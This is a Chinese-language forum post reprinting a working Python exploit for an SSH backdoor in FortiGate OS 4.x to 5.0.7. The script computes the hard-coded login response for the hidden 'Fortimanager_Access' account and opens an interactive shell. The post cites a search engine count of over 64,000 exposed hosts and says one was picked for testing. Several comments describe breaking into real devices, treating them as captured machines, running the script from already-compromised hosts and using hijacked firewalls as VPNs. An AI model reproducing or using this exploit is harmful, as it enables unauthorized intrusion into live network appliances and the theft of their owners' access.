飞塔系统存在SSH后门 影响版本 4.0 – 5.0.7!!
飞塔系统存出现重大漏洞,存在SSH后门。
From:http://tools.pwn.ren/2016/01/12/ssh-backdoor-for-fortigate-os-version-4-up-to-5-0-7.html
通过过Zoomeye搜索发现存在 64567台主机,
挑选一台进行测试
利用脚本:
通过过Zoomeye搜索发现存在 64567台主机,
挑选一台进行测试
利用脚本:
#!/usr/bin/env python
# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
# Usage: ./fgt_ssh_backdoor.py <target-ip>
import socket
import select
import sys
import paramiko
from paramiko.py3compat import u
import base64
import hashlib
import termios
import tty
def custom_handler(title, instructions, prompt_list):
n = prompt_list[0][0]
m = hashlib.sha1()
m.update('\x00' * 12)
m.update(n + 'FGTAbc11*xy+Qqz27')
m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
return [h]
def main():
if len(sys.argv) < 2:
print 'Usage: ' + sys.argv[0] + ' <target-ip>'
exit(-1)
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException:
pass
trans = client.get_transport()
try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException:
pass
trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = u(chan.recv(1024))
if len(x) == 0:
sys.stdout.write('\r\n*** EOF\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
if __name__ == '__main__':
main()
评论23次
在 zoomeye上搜出来的有一些ip地址重复了,试验了几个都没成功,估计是试验的人太多了,只成功了一个日本的ip地址
感谢楼主 我现在就开虚拟机去。。。。。。。。
@胜意科技 用kali呀,windows报错一大堆
哥哥,我用的就是kali,模块明明装上了,还是说没装,网上说什么模块名大小写的问题,懒得折腾了,肉鸡都让给你们把。
都忘了,据我朋友说kali2.0没任何问题,没兴趣搞了
@胜意科技 用kali呀,windows报错一大堆
哥哥,我用的就是kali,模块明明装上了,还是说没装,网上说什么模块名大小写的问题,懒得折腾了,肉鸡都让给你们把。
都忘了,据我朋友说kali2.0没任何问题,没兴趣搞了
想知道怎么复活
@胜意科技 用kali呀,windows报错一大堆
哥哥,我用的就是kali,模块明明装上了,还是说没装,网上说什么模块名大小写的问题,懒得折腾了,肉鸡都让给你们把。
请教下,如果想把这个利用脚本放在肉鸡上运行,肉鸡上的python环境没有这么多的库,这个脚本可以如何修改简化到只用最基本的python库?
收藏了,有空测试下,不知道效果怎么样
谢谢。。我去沦陷站去了
国外的有好多,搭了一个上谷歌用
一大波 站点又要 完蛋。。。。
先学xi下,还不会玩这个
@胜意科技 用kali呀,windows报错一大堆
哥哥,我用的就是kali,模块明明装上了,还是说没装,网上说什么模块名大小写的问题,懒得折腾了,肉鸡都让给你们把。
有exp 。好多站点又要沦陷
@胜意科技 用kali呀,windows报错一大堆
那个vpn创建有成功的吗?
这个python脚本要的模块好多啊 。。等会用kali试试。 每次在windows上运行都提示缺少模块
几个鬼模块pip 搞几次都没装成功,吗的,不玩了。。。
好给力的脚本!